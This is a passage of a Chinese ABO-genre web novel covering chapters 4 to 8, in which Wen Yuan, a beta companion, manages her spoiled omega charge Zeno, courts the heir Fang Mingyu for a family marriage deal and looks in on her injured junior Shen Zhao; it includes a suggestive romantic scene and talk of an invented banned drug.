听她这话,沈照肉眼可见地松了一口气,黑色的眸子溢出点惊喜。 “当然可以!师姐你有空后告诉我一声就行。” 沈照上前一步,想要继续和她说些什么,但敲门声却从外面传来。 “闻鸢姐,门口有个帅气的omega找你哦。”蘑菇头学妹唐钰捂着嘴,表情带着显而易见的调侃。 听到这话,闻鸢眉心跳了跳,转头对沈照说道:“抱歉,我今天得提前离开一下。” 她快速地脱下实验服,拿起书包闪身离开,没有回头。 透过实验室的玻璃,沈照看见闻鸢绕到那个omega背后,熟稔地拨开他的衣领,然后将抑制剂注入到他的腺体中。 除了亲近之人以外,omega不允许其他人触碰自己的腺体。 显然,闻鸢和他的关系不只是传闻中那么简单。 沈照缓缓地捏紧了自己的拳头,指节的肌肉绷得发白。 那个浅金色头发的omega似乎察觉到了什么,偏了偏头,蓝色的眼睛正对上深沉阴翳的黑眸。 然后,他缓缓地,扯出了一个得逞又挑衅的笑容。 像是在警告,又像是在炫耀。 闻鸢将抑制剂推到头,随口问了一句:“今天这么听话?居然按时打抑制剂了。” 泽诺愣了愣,收回了视线,眼神中讥讽的冷意在望向她时全部化开。 “英曼新开了一家花园餐厅,我们要不要去那里吃晚饭?” 泽诺以询问的语气发问,落到闻鸢耳朵里却是陈述句。 闻鸢没有发表任何意见,面无表情地拿出手机,“好的,那我打电话预定一下包厢。” 她木讷的态度让泽诺稍微有点火大,他靠近一步,手搭在她腰上,准备咬咬她的耳朵以示惩罚。 谁知闻鸢抗拒地后退,手抵在他的胸膛上,低声提醒道:“泽诺,这里是公共场所。” 私底下随他开心,但面上她的身份仍旧是伴读,不能逾矩。 她听到耳边响起一阵冷哼,抬起头,果然看到那双漂亮的蓝色眼睛里满是愠怒。 又生气了? 不是,为啥啊?到底是为啥啊? 闻鸢百思不得其解,最后暂时决定冷处理,少爷的脾气来得快去得也快,到时候给他递个台阶,愤怒技能就可以冷却一段时间。 她开着车,止不住地颔首,觉得自己的顺毛功夫已渐成体系。 英曼是华都著名的商圈,那里不仅有奢侈品商店、主题餐厅,还有赌场和各种高档会所。 泽诺点了菜品,随后跟服务员叮嘱了一堆忌口的和一些在她看来十分无理的要求。 服务员冷汗连连,转头看向闻鸢,小心翼翼地问道: “您这边点些什么?” 闻鸢拿着菜单,“我要这个,这个还有这个,就这样。” 非常简洁高效的对话,服务员感激地看了她一眼,然后拿着菜单跑出去了。 闻鸢扭头,看到泽诺正在偷瞄自己。 “不气了?”她笑着问道。 泽诺用手托着下巴,百无聊赖地看着窗外璀璨的夜景,假装没听到。 闻鸢索性点开手机,在网上搜索“环宇集团 方鸣玉”。 一阵短暂的空白后,一张棱角分明且富有侵略性的脸跳了出来。 照片稍微有些模糊,似乎是狗仔偷拍的产物,但仍然无法掩盖他优越的骨相和狷狂的气质。 高大的alpha斜靠在灰色超跑的前翼,双手交叉抱胸,脸上似笑非笑。 他像狼一样盯着前方,眼神里的轻蔑不加掩饰,明明是平视,却总感觉他在俯视别人。 这位的攻击性更是强得没边,总感觉是个不好惹的主。 她悄悄看了眼泽诺,又看了眼方鸣玉,眉毛痛苦地纠结在一起。 主母主父选联姻对象的时候真的考虑过双方的性格吗? 这俩人要是真被捆在一起,房顶还不得被掀翻啊! 她往下翻了翻,看到了一些营销号发布的帖子。 【震撼!环宇太子爷买下全球限量款超跑,价格或将过亿!】 【知名毯星透露与方少好事将近,太子爷回应:莫挨老子。】 【环宇太子爷F1赛车锦标赛勇夺冠军,事后采访称:这届对手不行。】 闻鸢:…… 越挖越有料,越看越震惊。 人怎么能活得这么潇洒,这么没素质,这么不在意他人死活? 菜上来了,闻鸢望着碗里那盘价值399的蔬菜沙拉,手里的叉子都要被掰断。 当了这么久的孙子,这太子换她当一天行不行? 多汁鲜嫩的绿蔬被咬得嘎吱作响,闻鸢化悲愤为食欲,哐哐炫了好几碗。 泽诺扒拉着碗里的菜,丝毫没有感受到闻鸢破防的情绪,只是以为她真的饿了。 他抿了口红酒,漫不经心地问道:“今天妈妈跟你交代了什么事情?” 闻鸢顿了顿,心虚地退出浏览界面,顺便将记录一并删除。 “她让我有空去疗养院看一下周管家。” 周管家在三年前罹患失忆症,现在在奥兰德旗下的疗养院治疗。 “你不是每个月都去看他吗?”泽诺眉头一皱,觉得事情并不简单。 闻鸢面无表情地吞下嘴里的东西,谎话张嘴就来,“病情恶化了,我得和主治医生了解一下情况。” 实际上,老头子在疗养院过得不知道有多舒坦,虽然东西忘得一干二净,但闻鸢觉得他比以前过得开心多了。 泽诺向来淡漠的脸上忽然浮现出一抹担忧,毕竟周管家也是从小看他长大的人,感情还是有的。 “下周我跟你一起去看他吧。” 看什么?看他活蹦乱跳,返老还童的样子吗? “不行。” 典型的嘴巴比脑子快。 闻鸢握紧手里的叉子,突然想给自己一巴掌。 喜欢上一个人就好像创造了一种信仰,侍奉着一个随时会陨落的神。(博尔赫斯) 作者有话说 显示所有文的作话 第4章 第 4 章 第5章 第 5 章 “不行” “为什么?” 别问了,你别问了!闻鸢内心几近崩溃。 一个谎言只能牵连出更多的谎言,而谎言越多,被戳破的可能性越大。 “你下周很忙吧,最近不是要筹备生日宴会吗?你打算邀请谁?陆寻?” 闻鸢丢了一个烟雾弹,成功触发关键词。 只见泽诺丢下叉子,脊背往后一靠,微微扬起下巴,连头发丝都写着不屑。 “他?我为什么要请他,简直掉价。” 闻鸢顺杆往上爬,“其实我一直很好奇,你为什么那么讨厌他?” 在闻鸢印象中,陆寻似乎是交际花型的omega,性格圆融,八面玲珑。 她本以为大少爷与他会合得来,没想到却是塑料兄弟情。 泽诺露出一个古怪的表情,没有直接回答她的问题,却反问道: “你在帮他说话?” ……什么脑回路。 他现在像极了那种被踹了一脚后应激的狗,见谁咬谁。 “我没有,只是想问问这个人到底有什么问题,因为你是个很好相处的人,很少会这么厌恶一个人。” 说完话后,闻鸢下意识地拿餐巾纸捂住了嘴角,生怕自己没绷住。 泽诺表情略有松动,但仍然保持双手环胸的样子,语气显得有些别扭。 “他很喜欢撬人墙角。” “哈?” 天爷啊,这是什么鬼热闹?你们贵族少爷玩这么花? 泽诺漂亮的蓝眼睛中盛满了憎恶,“所以你得离他远点。” 嗯? 闻鸢惊愕地指了指自己,“我?” 难道陆寻也缺伴读吗?不至于吧,按理说交际花身边应该不缺朋友。 泽诺见她油盐不进的样子,只觉得心头火起,脸色臭得难看。 见势不妙,闻鸢收起嬉皮笑脸,“好了好了,我一定离他远远的。” 看她终于稍微认真起来,泽诺脸色稍霁。 他转了转酒杯,看着杯内起伏的水波,随口问道:“下个月我生日,准备送我什么礼物?” 那双浅棕色的眸子转了转,直直地盯着他,“你想要什么呢?” 想要什么?泽诺不知道。 小时候,只要他想要什么东西,父母就会给他弄来,所以他觉得钱可以买到一切,如果买不到,则说明钱给得不够多。 但随着年龄渐长,他突然发现,有些东西是钱买不到的,比如生命、比如记忆、比如感情。 他抬头,眼神落到那双清澈的眼中,恍然间,他觉得闻鸢眼底空无一物,那种温柔又宠溺的笑意也只不过是渺茫的幻影。 内心忽然涌起一阵没由来的惊惶,但那种可怕的情绪也不过持续了半分钟。 因为他骤然低落的情绪几乎是立刻就被闻鸢察觉到了。 她走到泽诺身边,俯下身来,用手掌贴了贴他冰冷的面颊。 “还好吗?” 泽诺没有回应,只是将手臂穿过她的腰肢,紧紧抱住,脸颊贴着她的腹部,闷闷地说了句:“回去吧。” omega在易感期会变得相当敏感,所以需要及时给予情绪反馈。 闻鸢用他的卡结了账,二人驱车回家,一路无话。 把少爷送回房间以后,她以为今天的工作就到此结束,没想到洗完澡后却发现泽诺又钻到了自己的被窝里。 一回生二回熟,闻鸢权当没看见,关灯,爬上|床,闭眼睡觉。 隐约间,小腿间传来滑|腻的触感,她手指一动,不小心摸到了个滚烫的东西。 她翻了个身,皱着眉头一把攥住泽诺作乱的双手,声音罕见地带着怒意。 “听话,先把睡衣穿上。” 她凭感觉在泽诺脖子上摸了一把,那里空空如也,抑制颈环不翼而飞。 感觉到手腕上的力度逐渐加重,泽诺抿了抿唇,在黑暗中靠近她,长而有力的双腿紧紧地压|住闻鸢。 安静的空间内,空气燥热,二人的气息不约而同地变得急促。 他试探般地舔|舐着闻鸢的嘴角,见她只有稍微的抗拒,便大着胆子逐渐向下。 炽热的唇|瓣吻过下巴、脖颈、随后来到锁骨,胸口。 再往下时,闻鸢抬手捏住了他的下颌,“为什么不戴抑制颈环?泽诺,你真的太任性了。” 低低的笑声传到闻鸢耳朵里,随后她手里被塞了个什么东西。 “你替我戴?” 他引导着闻鸢的手来到一处滚|烫的地方,颈环金属的冷意和闻鸢温暖的手心形成鲜明对比,他忍不住闷|哼一声。 泽诺很不安分,闻鸢一个头两个大,准备早点完事早点睡觉。 粘稠的水声,模糊的光影,他的脸在朦胧间看不真切。 须臾,他没了力气,仰着头,瞳孔近乎失焦。 闻鸢半垂着眼,将颈环卡在他脖子上。 泽诺埋在闻鸢颈窝里,脸颊滚烫,他泄愤似的咬了咬她的耳朵,气息不稳。 “小鸢,生日礼物,我要一个承诺。” 闻鸢坏心眼地将手掌往下压了压,如愿地听到身旁的呼吸声在一瞬间变得沉重。 “什么?” 他环住闻鸢的脖颈,将自己往前送了送。 湿润的嘴唇贴着她的耳廓,他极力克制住想要舔|舐的**,喉结动了动。 “以后的每一个生日,你都陪着我,好不好?” 鼻尖相贴,闻鸢将手放在他胸口处,皮肉之下,心跳快得可怕。 “现在的话,当然可以,但如果你有了心仪的alpha,结婚后,我要以什么身份陪在你身边呢?” 女人的指腹划过男人松软的嘴唇,在唇珠处轻轻摩挲了一下,嗓音略带嘲讽。 “我到底算什么?” 他们的关系,到现在都不清不楚。 对外口口声声说是朋友,可哪有朋友回家之后睡一张床? 他心里一慌,从她怀里抬起头,安抚性地吻了吻闻鸢的唇角。 “你是我的,你永远是我的小鸟儿。” 他捏住闻鸢的手,贴在湿热的颊边。 黑暗中,闻鸢立起身子,白色的纱帘勾勒出圆润光滑的肩颈线条。 双肩微微耸动,她好像在笑。 永远?这个词听起来真残忍。 被囚在笼子里的鸟儿要亲眼看着自己的羽翼慢慢腐烂,残躯供他人赏玩,难道还要对那些人感激涕零不成? “嘶……”泽诺的身体猛地抽|动了一下,灭顶的快|感几乎让他惊叫出声。 闻鸢捂住对方的嘴,用膝盖抵住他的小|腹,动作突然粗暴起来。 原本迟钝的泽诺在这一刻也感知到了闻鸢的怒意,向来倨傲的脸上显露出极端的脆弱和恐慌。 他停下动作,顾不上身体的疼痛,倾身去抱她,妄图把她揉到自己的身体里,这样心爱的小鸟就不会飞走。 闻鸢叹了一口气,任由他抱着,安抚性地拍了拍他的后背。 “以后不可以在易感期摘掉颈环,否则腺体会受损。” 他挂在闻鸢身上点了点头,出奇地乖巧。 被子和睡衣终于回到了它们原本所在的地方,而闻鸢因为过于疲惫,头一沾到枕头就睡着了,一夜好眠。 第二天,她按照邮件里约定的时间来到环宇大厦。 高耸入云的双子塔耸立在寸土寸金的商圈,塔楼均用轻便结实的新型材料搭建,原料从北境的矿山中开采,装箱后空运到首都。 被钱堆砌而成的大楼内,西装革履的人士交错而过,随口谈论着价值一个小目标的项目。 前台的beta助理带她搭乘了董事长专用的电梯。 四面都是玻璃的电梯穿行在塔楼内部,视角飞速升高,看着远处波光粼粼的人工湖,闻鸢总觉得自己在坐跳楼机。 既视感实在太过强烈,以至于她出电梯的时候仍然心惊胆战。 门一打开,皮鞋陷入柔软的地毯中,步履无声。 方琳——方少爷的母亲,也就是环宇集团的话事人——坐在木质长桌的后面,抬手扶了扶镜框,缓缓对她展露了一个微笑。 那个微笑算得上友好,稍微缓和了闻鸢内心莫名其妙的紧张。 温和的alpha翻了翻资料,不时拿笔圈圈画画,闻鸢坐在不远处,安静饮茶。 须臾,她单手摘下眼镜,缓缓启唇道: “资料我已经看了,贵方的诚意我也有目共睹,其实这件事情,我们也有意向。” 闻鸢觉得这个月的kpi在向自己招手。 可谁知,方琳话锋一转,颇为头痛地按了按额角。 “可是,我家那个孩子……实在不好管教,联姻一事,只能徐徐图之。” 别担心,泽诺也不是什么省油的灯。 这俩要是能成,她脑袋砍下来给这些人当球踢。 想是这么想,话却不能这么说,至少表面功夫要做到位。 闻鸢把早就准备好的邀请函递到方琳手里,喜笑颜开道: “家主正是这样想的,下个月泽诺生日,不知道方少爷是否能拨冗赴宴?” 方琳打开邀请函的手顿了顿,脸上的笑意突然变得有些苦。 “我看够呛。” 她似乎正想解释,桌上的座机却在这时响起来,助理在那边急切地说:“方总,少爷说要见您一面。” “让他等着,我在接待客人。”方琳冷声回复。 对面的声音被滋滋啦啦的电流声干扰,平稳后,一道清朗而略带怒意的嗓音响起。 “见我妈都要等,什么客人这么大脸面?” 求求求求审核大大,求你给我过吧 作者有话说 显示所有文的作话 第5章 第 5 章 第6章 第 6 章 忙音过后,门被骤然推开。 闻鸢转身,看到一个身穿黑色皮衣的alpha站在门口,狭长的凤眸微微眯起,锋锐的眼神带着极强的攻击性。 脖子上挂着的十字架项链剧烈摇晃,他长腿一迈,冲到方琳面前,双手撑在桌上,一字一顿都是质问。 “我的车去哪儿了?” 方琳好整以暇地坐在靠椅上,用钢笔点了点桌面,“这事儿你应该去问你爸爸。” 方鸣玉咬了咬后槽牙,像被套上了锁链的狼,无力沉默了半晌。 方琳挑了挑眉,唇角勾出一个优雅的弧度,“怎么?提到爸爸就蔫儿了?你敢跑到我跟前儿来撒野,却不敢回家问一句?” 闻鸢站在一旁当木头人,凭借这几句话也能构想出这一家的食物链等级。 毫无疑问,他们话里的那位omega父亲拥有绝对掌控权,闻鸢甚至都有点好奇,到底是什么样的omega才能拿捏住面前这位天不怕地不怕的小霸王。 方鸣玉有气没处撒,被妈妈降维打击之后更是气上加气。 他冷静下来,鸢尾花的香水钻到他鼻腔里,这时他才发现身边还站着一个人。 他转头看向闻鸢,上上下下打量了会儿,毫不客气地发问道:“你谁?” 闻鸢扯出一个公式化的微笑,假装自己是个人机,“我来给方总送材料。” 方琳点点头,“闻小姐是来送邀请函的。” 她一句话点透闻鸢来意,随后毫不犹豫地对儿子贴脸开大。 “你车被没收了,下个月有空了吧,跟我去参加泽诺·奥兰德的生日宴。” 闻鸢脸上的笑僵住了,恍然有种被队友背刺的感觉。 大姐,明眼人都知道现在不能跟他说这事儿吧,太子爷在气头上,您让让他不行吗? 闻鸢熟读《儿童心理学》,太子爷接下来的举动和她的预判一分不差。 方鸣玉把手一甩,气得笑出声,语气里的暴躁几乎不加掩饰: “我管他什么泽七泽八的,我不去,爱去你自个儿去吧!” 话罢,他忿忿地转身离开,经过闻鸢的时候还瞪了她一眼。 方琳看着儿子的背影,有些苦恼地转了转笔,随后把邀请函原路奉回。 “抱歉,你也看到了,他不想去。” 她耸了耸肩,语气颇为无辜,仿佛这场闹剧并未有她的推波助澜。 闻鸢站在原地,脑袋嗡嗡作响。 今天也是让她遇到白切黑了,原本只是一个B级副本,方琳仅凭一己之力把难度干到S级。 那还玩什么,不如跟这个世界爆了算了! 她接过邀请函,动作和表情堪称体面,“明白了,多谢方总接待。” 出了办公室,她以百米狂奔的速度冲到电梯口,眼看电梯差一点就要关上,便立马把邀请函插到缝里,电梯门感应到其他物体,复又打开。 方鸣玉浓眉一挑,正在打字的手指顿了顿,抬起头来冷冷地盯着面前这个气喘吁吁的beta。 闻鸢闪身进入电梯,礼节性地对他笑了笑。 屏幕上的数字飞速跳动,她将长发拢到耳后,随口搭话道:“小方总下个月有比赛?” 他比一般alpha还要高出很多,闻鸢不得不仰头跟他说话。 修狭的凤眸转了转,极具侵略性的目光落在闻鸢身上。他没回答,S级的压迫感衬得他周身的气息冷冽深邃,让人不敢轻易接近。 身形修长的女性beta微微侧过身体,乳白色的珍珠耳环在发丝间隐隐若现,淡淡的鸢尾花香安静地浮动在电梯间里。 方鸣玉放下手机,肩膀往玻璃上一靠,态度散漫又慵懒。 “原本打算和朋友一起跑山道的,不过我可以告诉你的是,即使我的车被没收了……” 他顿了顿,语气堪称恶劣,“我也绝对不、会、赴、宴。” 面前的beta并没有露出生气又无措的表情,她勾了勾唇,似乎早就预料到了事情的走向。 “小方总不想出席宴会,这是您的自由,但我问这个问题的初衷,是想为您分忧解难。” 原本吊儿郎当的alpha立刻站直了身体,似乎被勾起了兴趣。 那双灵动的浅棕色眸子凝出一个神秘的微笑,“布加迪‘掠影’超跑,当你的座驾够格吗?” 尽管他阅车无数,见多识广,但听到这款车的名字时,脸上仍旧掠过几分惊讶。 “这辆车去年刚推出的时候就被一位匿名买家拍下了。” 他顿了顿,上下扫了她一眼,惊讶变为不可置信,“你?” 其实车是泽诺的,但他很少开,原因是车内空间太狭窄妨碍他办事,因此就一直闲置。 闻鸢想着,与其把它放在地下车库里积灰,不如拿出来发挥余热,好歹帮她拿下这个月的kpi,这样主父主母开心,她也能过得轻松点。 打定主意后,她并没有直接回答方鸣玉的问题,只是反问道:“小方总意下如何?” 电梯到达第三层,方鸣玉皱着眉头,似乎在斟酌着什么。 闻鸢并不着急,只是从手提包里拿出纸笔写下了自己的号码。 “叮!”电梯门打开,闻鸢用手指夹着一张薄薄的纸递过去,眼神里有种势在必得的笑意。 “不着急,有需要就联系我。” 她靠近一步,脖颈上悬挂的银质项链散发出夺目的光辉。 方鸣玉看到她樱粉色的唇瓣一开一合,鸢尾花香在太阳的照耀下变得暖软,恍然间令他头晕目眩。 心跳声突兀地出现在耳朵里,他接过那张纸,急促得晃了晃脑袋,企图把这种怪异的情绪甩出去。 视线聚焦,方鸣玉看着面前那张白皙的脸,心里骤然浮起一点说不清道不明的烦躁。 “‘掠影’又怎样?小爷我多的是车。” 他小心地瞥了眼闻鸢,打量着她的神情,话语一转,大发慈悲道:“等我消息。” 既不直接拒绝也没有说接受,他就这样转身离开,把闻鸢一个人丢在身后,但她有百分之二百的把握,方鸣玉肯定会联系她。 因为方少和泽诺的性格虽然各有各的缺陷,但嘴硬这一点倒是出奇地一致。 而现在她又要解决一个问题:怎么才能在泽诺眼皮子底下拿到那辆车的钥匙? 手机震动了一下,闻鸢打开,发现泽诺打来一个视频通话。 她下意识地接通,对方悠闲地靠在藤椅里,似乎在二楼的岛台上晒太阳。 看到她打扮得比以往精致,他不由得眯了眯眼,盘问道:“在哪儿?” 闻鸢稳如老狗,“在英曼商圈,下周去看周管家,我准备给他置办些东西,对了,附近的甜品店出了新品,给你带一份尝尝?” 泽诺毫不犹豫地拒绝了,“不用了,我最近在健身。” 闻鸢笑了下,拆台道:“在提前为生日宴会做准备吗?” 泽诺扭过头去,辩解道:“你懂什么,我要邀请很多omega,到时候可不能让他们把我比下去。” 大少爷也是容貌焦虑上了,闻鸢挑了挑眉,觉得他的担心纯属多余。 “你永远是人群中最瞩目的那颗星辰,泽诺。”她颇为真诚地说,“没有人比你更耀眼。” 没办法,大少爷虽然暴躁、多疑、蛮横、骄纵,但却实在美丽。 华大的校园论坛每年都会有一次“最美omega”评选,每年他都远远甩开第二名,毫无意外地蝉联榜首。 论坛里甚至还有他的粉丝群,平时会发一些偶遇照片,评论人数之多,帖子之火爆,让闻鸢咋舌。 泽诺抱着兔子玩偶,湖蓝色的眼睛闪了闪,他极力压制住上扬的唇角,“还算有眼光。” 须臾,他盯着闻鸢的耳环,突然想起一件事。 “我请了设计师设计礼服,不过,我们应该先定个主色调?” “我们?”闻鸢慌了一下,忽然有种不好的预感。 “我们要一起跳宴会的开场舞,礼服色调当然得一致!” 怎么会有这个环节,为什么没人通知当事人??? 她内心一整个大崩溃,勃然小怒了一下,“可你明知道我不会跳舞!” 泽诺很平静,语气斩钉截铁,丝毫没有商量的余地,“你可以学啊!” 问题是她不想学!!!她也不想跳那个什么开场舞,更不想跟泽诺穿着情侣装跳。 伴读就要有伴读的样子,她不想越界,也不想被主母死亡凝视。 脑袋里那根名为理智的神经被打断然后重组,然后再打断再重组。 泽诺总能以意想不到的方式让她炸毛,但多年来的专业素养让她立刻冷静了下来。 现在这种时候,反抗只会激起少爷的逆反心理,目前只能假装顺从,再找转机。 她假装信号不好,含糊了几句后便把通话挂了。 站在人潮中,闻鸢突然有种被空气打了一拳但无法还手的感觉。 手机震动了一下,新用户发来好友申请消息。 【新的朋友】方鸣玉。 【新的朋友】31号,南山公路,开着你的车来见我。 依旧是很拽很欠扁的语气。 闻鸢撇了撇嘴,屁颠屁颠地回了个“收到!” 处理完泽诺发来的无数条消息之后,闻鸢精疲力尽,但回去之前她还得给周管家买点东西,否则准会露馅。 眼看着快入秋了,给老头子买件外衣,还有柑橘、杏仁、黄桃。闻鸢经过酒架,踌躇一番之后还是拿起一瓶红酒。 他快把闻鸢的名字给忘了,但还记得自己喜欢喝酒。 大概是因为在做管家的时候不能喝酒,于是到了疗养院之后就彻底放飞自我了。 购买完毕,她开车回到奥兰德宅邸,却发现家里都没人。 问了侍女才知道一家三口到朋友家聚会去了。 闻鸢喜不自胜,因为她终于暂时地拥有了自己房间的占有权——至少她在看书的时候不会被泽诺突然打扰。 吃过饭后,她从书柜最角落的地方抽出一本厚厚的词典,词典里被挖了空,藏着一本老旧的笔记本。 作者有话说 显示所有文的作话 第6章 第 6 章 第7章 第 7 章 笔记本的边页磨损得很严重了,纸张也已经泛黄,翻开第一页,上面赫然写着“赎身所需花费”。 里面记录了闻鸢从小到大在奥兰德家产生的花销——主要是学费,因为她和泽诺一起上学,贵族私立学校的学费都高得吓人。 华都大学是联邦首屈一指的大学,学费也让平民望尘莫及,她身边不少同学都是申请助学贷款,工作多年后才慢慢还完。 那串天价数字即使是闻鸢全身上下所有器官加起来拿去卖都不够填补。 想到这里,她叹了一口气,顿感人生无望。 她就像一条在砧板上半死半活的鱼,想要奋力一搏逃离被宰杀的命运,同时却惊觉脱离水源的她根本无法逃出生天。 夜深后,她把东西放回原处,抱着老爸给她缝的丑娃娃睡着了。 睡梦里,她好像回到了五六岁的时候,老爸把她举得高高的,兴奋地喊道:“小鸟儿,飞起来!飞起来!” 可是她的翅膀很沉重,已经不再适合飞翔。 思绪漂浮在黑暗的水面之上,海浪的沉浮给人强烈的不确定感,不知道下一秒究竟会被大浪淹死,还是被水里的鲨鱼吃掉。 急促的电话铃声响起,梦境崩解破碎,闻鸢从窒息中醒来,眼中仍旧惊惶不定。 她把额前的碎发撩到脑后,清了清嗓子才接通那个电话。 “莉娜教授,找我有什么事吗?” “闻鸢,沈照最近请假了,我这里有份文件需要他签字,你帮忙送一下。” 闻鸢皱了皱眉头,“请假?” 前几天他不是还好好的吗? “不知道啊,说是头晕,最近几天都请假了。” 莉娜想到什么,颇为怜爱地感叹了一句,“这孩子是特招生吧,家里亲人都不在了,你作为师姐,平时多关照他。” 沈照话少,平日里对家里的事情更是绝口不提,闻鸢也是现在才知道他的情况。 她垂下眼帘,手指攥紧了被单,“我知道了。” 闻鸢到学校取了文件,随后根据导师发来的地址驱车前往第四区。 在狭窄的街道里弯弯绕绕,车子停在一栋老式单元楼前。 楼梯的墙壁被烟熏得发黄,走廊上凌乱地挂着衣服,闻鸢走过一间又一间相似的门,随后停在最角落的那扇门面前,不轻不重地敲了敲。 一阵漫长的等待之后,门开了一条缝,一双熟悉又略带警惕的黑色眼睛露出来。 见到来人之后,眸子溢出些许惊讶和无措。 “师姐?你怎么会来?” 闻鸢双手插兜,打趣道:“怎么,不欢迎我?” “没有!”瘦高的青年立刻将门打开,动作有些急促。他一向理智冷静,闻鸢很少看到他这么呆头呆脑的样子。 闻鸢在玄关处看到了沈照和一位女性的合照,看起来似乎是他母亲。 房间很小,但整洁得过分,地板光亮干净,茶几更是一尘不染。 沈照把一杯水放在闻鸢面前,手腕从白色衣袖下露出,闻鸢瞟到一圈可怖的淤青。 她猛地抬眼,隔着衣袖捉住他的手腕,视线落在他脸颊边的划痕上。 “打架弄的?” 面对她的质问,沈照浑身的气势软了下来,紧抿双唇,沉默以对。 沈照挣了挣手腕,没有成功,只是侧着脸,尽量不让闻鸢看到他脸上的伤痕。 他现在这个样子,大概很丑陋吧。 面对这个闷葫芦,闻鸢又急又气,不由得猜测道:“那群人来找你算账了?” 碎发下的黑眼睛闪了闪,闻鸢没有错过他脸上的表情变化。 她一只手捏着沈照的手腕,另一只手挑起他的下巴,迫使他直视自己。 女性beta浅棕色的目光中有些愠怒,目光扫过沈照脸上的每一寸肌肤,似乎在仔细确认他的伤势。 女子的鼻息喷洒在肌肤之上,沈照的呼吸猝然加重,从脊骨传来的酥|麻让他微微失神,他狼狈着接收她的目光、她的气味。 身体的感知系统欢欣鼓舞,将她的气息当做恩惠来庆祝。 伤口不深不浅,经过几天的处理后,那道划痕也快愈合了。 闻鸢在心里松了口气,但却仍旧绷着脸,“不解释一下吗,沈照?” 这声连名带姓的呼唤让沈照慌了神,他抿了抿唇,眼底失去了光亮,像是放弃了最后的挣扎。 “安抚剂,他们想要安抚剂。” 作为腺体专业的学生,闻鸢很清楚安抚剂的作用。 抑制剂能让AO平稳度过易感期,但安抚剂却恰恰相反,这是一种模拟信息素的抚慰剂,能让人短暂地感受到释放的快乐。 说白了跟X药差不多,易感期的alpha嗑了之后会欲|仙 欲|死,意识短暂地迷失在狂乱中,因此这种药早被联邦列为禁药。 这东西在市面上少见,实验室里摆着几只作为样品,但她没想到那群alpha的胆子竟然那么大。 她颇为头痛地松开沈照的手,捏了捏眉心道: “让我猜猜,他们威胁你偷安抚剂,但因为实验室改了权限你没偷成,所以被他们打了,是这样吗?” “没想过偷。”沈照黑白分明的双眼盯着她,沉声回答。 “什么?” “即使权限没有改我也不会去偷的,只会随便编个借口骗他们,让他们打一顿,出出气就好。” 他顿了一下,脸上掠过一丝自嘲和苦笑,“他们说的没错,我就是个懦夫。” 闻鸢静静地听他讲完,摇了摇头,表情带着极度的认真,“你不是懦夫。” 她看向男人,表情恨铁不成钢,“但确实是个笨蛋。” 迎着沈照惊异的目光,她说出了一句惊雷般的话,“安抚剂的成分你都知道,为什么不自己合成?” 离经叛道、震碎三观的话还在继续,“再者说,即使合成了残次品,那些alpha也根本感觉不出来。” 有那么一瞬间,沈照怀疑自己根本没从睡梦中醒来。 在他心中,闻鸢正直、坦诚且聪慧,现在,那些光辉美好的想象隐隐有破碎之势。 闻鸢看着沈照惊讶的表情,颇有些好笑地拍了拍他的肩。 “沈师弟,你还是太年轻。有些时候,暂时丢掉道德感,人就会变得轻松很多。” 她语气里的调侃半真不假,沈照无从分辨这是她遵守的人生准则,还是只是一个无伤大雅的小玩笑。 他皱了皱眉,下意识地反驳道:“师姐也只比我大了一岁而已。” 其实不然,加上地球上的那一世,她也算是个老油条了。 闻鸢顿了顿,松开沈照的手腕,重新把手插回兜里。 “抱歉,我并不是在说教。只是按照个人经验提供解决问题的方式。” 她转头,盯着窗台上那盆鸢尾,语气理智得吓人。 “如果我是你,我大概会修改一下安抚剂的配方,把感受因子调控到一个刺激但并不过火的阈值。” “你我都明白这样会对人的腺体造成慢性损伤,但是……” 她顿了顿,澄澈的眼睛里隐藏的刀锋短暂地亮了一瞬,“天下可没有免费的午餐,那些渣滓alpha应该为此付出代价。” 这一刻,沈照发现了女人随和外表下的另一面,温顺娇贵的家养燕雀原来也隐藏着锋利可怖的爪牙。 可他却并不反感。 这样的闻鸢更真实,她愿意对他展露阴暗的一面,是不是意味着横亘在他们之间的那堵无形的墙已经打破了? 那个讨厌又挑衅的omega不曾见过她狠厉冰冷的一面吧? 这种认知让沈照感到开心,他勾起唇角,冷淡的眉眼间绽出笑意,有如冰面在暖日的照耀下逐渐融化。 “那就……多谢师姐赐教?” 见他很上道,闻鸢挑了挑眉,轻笑一声,“不客气,等你伤好了就回来吧。” 毕竟活儿都压在她那儿,她也分身乏术。 沈照明白她话里的意思,有意逗弄,“恐怕不行,我的腺体受伤了,可能得多请几天假。” “什么?!”闻鸢惊声道,顾不得其他,转身就去扒拉沈照后颈的衣领。 沈照没想到她反应这么大,被她压得后退几步,脚绊到桌腿,跌坐在沙发里。 闻鸢紧随其后,将膝盖放到他双腿之间,非常轻易地扒开了他后颈的衣领。 身|下的beta闷|哼一声,努力克制体内翻涌的战|栗。 冰凉的手指轻轻点在腺体周围,这里戳戳,那里按按,明明是很正常的检查流程,却因为他见不得人的心思而生出了几分旖旎。 带着香气的长发拂过他的眼睫,他听到闻鸢疑惑的声音响起,“稍微有点肿,吃点消炎药就好了。” 闻鸢按住他的肩膀直起身子,疑惑道:“你脸怎么这么红?” 沈照脸上带着一丝狼狈,他有些羞赧地说,“失礼了,我的腺体有些敏感。” 闻鸢的脸僵了僵,惊觉自己刚刚的行为近乎调戏,于是干笑两声,努力缓解尴尬。 “差点忘了正事,这两份文件,你签一下字。” 她以手掩唇咳了咳,从包里拿出资料,待沈照签好之后,她拿着文件拔腿就跑,颇有些落荒而逃的意味。 看着她的车扬长而去,沈照回到房间里,坐在床边,神情怔愣,不知道在想什么。 他从床头柜拿出那方手帕,放在鼻端嗅了嗅,鸢尾花的气息很淡很淡,他干脆把整张帕子摊开放在脸上,像个瘾君子一般深深嗅闻。 身体的变化很明显,滚烫的温度、跳动的脉搏。 他苦笑着抬头,掀开帕子,轻轻叹了一口气。 第8章 第 8 章 坐在车里的闻鸢不知道沈照正在经历冰火两重天的奇妙体验,她今天打算再去趟疗养院,否则下周事情堆起来抽不开身。 奥兰德家族的业务主要在医疗和保险领域,光是旗下的私立医院在联邦就不下百所,而联邦最大的医保公司康泰也是奥兰德名下的产业。 另外,市面上通行的抑制剂也来自奥兰德家族的医药生产线,毫不夸张地说,一个人从出生到死亡,不可能接触不到奥兰德旗下的产品或服务。 周管家的房间在疗养院顶楼,坐北朝南,采光好又通风。 闻鸢熟稔地输入门锁密码,进门后把东西放在玄关之上,大声喊道:“周叔叔,我来看你了。” 正在读书的瘦削老头抬起头来,眼睛从镜框上方盯着闻鸢,“你谁?” 